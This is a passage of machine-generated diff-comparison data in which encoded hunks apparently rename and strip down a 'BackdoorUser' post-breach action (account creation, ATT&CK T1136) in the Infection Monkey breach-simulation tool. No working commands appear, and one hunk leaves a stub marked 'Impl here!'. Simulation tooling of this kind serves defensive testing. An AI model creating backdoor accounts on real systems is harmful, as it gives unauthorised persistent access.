QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHBhc3MlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwSW1wbCUyMGhlcmUhJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBNyU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBMTUlN0QlMkMlMjJiJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E3JTdEJTdEJTdEJTdE"
]
},
"monkey/monkey_island/cc/services/attack/technique_reports/T1136.py": {
"index": [
- "086a1c13..5cd02834",
+ "086a1c13..da99e86c",
"100644"
],
"fileA": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
"fileB": "monkey/monkey_island/cc/services/attack/technique_reports/T1136.py",
"status": "MODIFIED",
- "numLineDeletions": 3,
+ "numLineDeletions": 2,
"numLineAdditions": 2,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwZnJvbSUyMG1vbmtleV9pc2xhbmQuY2Muc2VydmljZXMuYXR0YWNrLnRlY2huaXF1ZV9yZXBvcnRzLnBiYV90ZWNobmlxdWUlMjBpbXBvcnQlMjAlNUMlNUMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EzJTJDJTIyYiUyMiUzQTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjBQb3N0QnJlYWNoVGVjaG5pcXVlJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNCUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBNSUyQyUyMmIlMjIlM0E0JTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E1JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCU3RCU3RCU3RA==",
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTElN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiU1RCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTVEJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBJTdCJTIyc3RhcnRMaW5lJTIyJTNBMTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMCUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTdEJTdEJTdE"
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMSUyQyUyMmIlMjIlM0ExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0EyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmFkZCUyMiUyQyUyMm1hcmslMjIlM0ElMjIlMkIlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIpJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTVDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMyUyQyUyMmIlMjIlM0EzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTUlMkMlMjJiJTIyJTNBNSU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTElMkMlMjJsaW5lc0NvdW50JTIyJTNBNSU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExJTJDJTIybGluZXNDb3VudCUyMiUzQTUlN0QlN0QlN0QlN0Q=",
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTIyJTJDJTIyY2hhbmdlcyUyMiUzQSU1QiU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTJDJTIyYiUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlNUMlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlMkMlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjB1c2VkX21zZyUyMCUzRCUyMCU1QyUyMk1vbmtleSUyMGNyZWF0ZWQlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwbmV0d29yaydzJTIwc3lzdGVtcy4lNUMlMjIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyUyQyUyMmIlMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTQlN0QlN0QlNUQlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0ExMSUyQyUyMmxpbmVzQ291bnQlMjIlM0E0JTdEJTJDJTIyYiUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTExJTJDJTIybGluZXNDb3VudCUyMiUzQTQlN0QlN0QlN0QlN0Q="
]
},
"monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": {
"index": [
- "f3e2a9bf..1686288d",
+ "f3e2a9bf..2c4aa664",
"100644"
],
"fileA": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"fileB": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py",
"status": "MODIFIED",
- "numLineDeletions": 2,
- "numLineAdditions": 2,
+ "numLineDeletions": 9,
+ "numLineAdditions": 1,
"hunkContainers": [
- "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC05JTJDOCUyMCUyQjklMkM4JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUyMiUyQyUyMmNoYW5nZXMlMjIlM0ElNUIlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJlbnVtJTVDJTIyJTNBJTIwJTVCJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBOSUyQyUyMmIlMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTVDJTIyJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTAlMkMlMjJiJTIyJTNBMTAlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUQlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMSUyQyUyMmIlMjIlM0ExMSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJ0aXRsZSU1QyUyMiUzQSUyMCU1QyUyMkJhY2slMjBkb29yJTIwdXNlciU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEyJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmluZm8lNUMlMjIlM0ElMjAlNUMlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExMyU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJiJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyYWRkJTIyJTJDJTIybWFyayUyMiUzQSUyMiUyQiUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlNUMlMjJpbmZvJTVDJTIyJTNBJTIwJTVDJTIyQmFja2Rvb3JVc2VyJTIwaW5mbyU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYiUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyYXR0YWNrX3RlY2huaXF1ZXMlNUMlMjIlM0ElMjAlNUIlNUMlMjJUMTEzNiU1QyUyMiU1RCUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTE0JTJDJTIyYiUyMiUzQTE0JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdEJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTUlMkMlMjJiJTIyJTNBMTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNiUyQyUyMmIlMjIlM0ExNiU3RCU3RCU1RCUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQSU3QiUyMnN0YXJ0TGluZSUyMiUzQTklMkMlMjJsaW5lc0NvdW50JTIyJTNBOCU3RCUyQyUyMmIlMjIlM0ElN0IlMjJzdGFydExpbmUlMjIlM0E5JTJDJTIybGluZXNDb3VudCUyMiUzQTglN0QlN0QlN0QlN0Q="
+ "JTdCJTIyaHVuayUyMiUzQSU3QiUyMmhlYWRlciUyMiUzQSUyMiU0MCU0MCUyMC00JTJDMTUlMjAlMkI0JTJDNyUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMjIlMkMlMjJjaGFuZ2VzJTIyJTNBJTVCJTdCJTIydHlwZSUyMiUzQSUyMmNvbnRleHQlMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIybWlnaHQlMjBkbyUyMGFmdGVyJTIwYnJlYWNoaW5nJTIwYSUyMG5ldyUyMG1hY2hpbmUuJTIwVXNlZCUyMGluJTIwQVRUJTI2Q0slMjBhbmQlMjBaZXJvJTIwdHJ1c3QlMjByZXBvcnRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTQlMkMlMjJiJTIyJTNBNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJjb250ZXh0JTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E1JTJDJTIyYiUyMiUzQTUlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyY29udGV4dCUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlNUMlMjJhbnlPZiU1QyUyMiUzQSUyMCU1QiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTYlMkMlMjJiJTIyJTNBNiU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E3JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnR5cGUlNUMlMjIlM0ElMjAlNUMlMjJzdHJpbmclNUMlMjIlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E4JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmVudW0lNUMlMjIlM0ElMjAlNUIlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0E5JTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMkJhY2tkb29yVXNlciU1QyUyMiUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEwJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1RCUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTExJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMnRpdGxlJTVDJTIyJTNBJTIwJTVDJTIyQmFjayUyMGRvb3IlMjB1c2VyJTVDJTIyJTJDJTIyJTJDJTIybGluZU51bWJlcnMlMjIlM0ElN0IlMjJhJTIyJTNBMTIlN0QlN0QlMkMlN0IlMjJ0eXBlJTIyJTNBJTIyZGVsJTIyJTJDJTIybWFyayUyMiUzQSUyMi0lMjIlMkMlMjJkYXRhJTIyJTNBJTIyJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVDJTIyaW5mbyU1QyUyMiUzQSUyMCU1QyUyMkF0dGVtcHRzJTIwdG8lMjBjcmVhdGUlMjBhJTIwbmV3JTIwdXNlciUyMG9uJTIwdGhlJTIwc3lzdGVtJTIwYW5kJTIwZGVsZXRlJTIwaXQlMjBhZnRlcndhcmRzLiU1QyUyMiUyQyUyMiUyQyUyMmxpbmVOdW1iZXJzJTIyJTNBJTdCJTIyYSUyMiUzQTEzJTdEJTdEJTJDJTdCJTIydHlwZSUyMiUzQSUyMmRlbCUyMiUyQyUyMm1hcmslMjIlM0ElMjItJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU1QyUyMmF0dGFja190ZWNobmlxdWVzJTVDJTIyJTNBJTIwJTVCJTVDJTIyVDExMzYlNUMlMjIlNUQlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNCU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJkZWwlMjIlMkMlMjJtYXJrJTIyJTNBJTIyLSUyMiUyQyUyMmRhdGElMjIlM0ElMjIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMjIlMkMlMjJsaW5lTnVtYmVycyUyMiUzQSU3QiUyMmElMjIlM0ExNSU3RCU3RCUyQyU3QiUyMnR5cGUlMjIlM0ElMjJhZGQlMjIlMkMlMjJtYXJrJTIyJTNBJTIyJTJCJTIyJTJDJTIyZGF0YSUyMiUzQSUyMiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMyUyMFN3aW1tZXIlM0ElM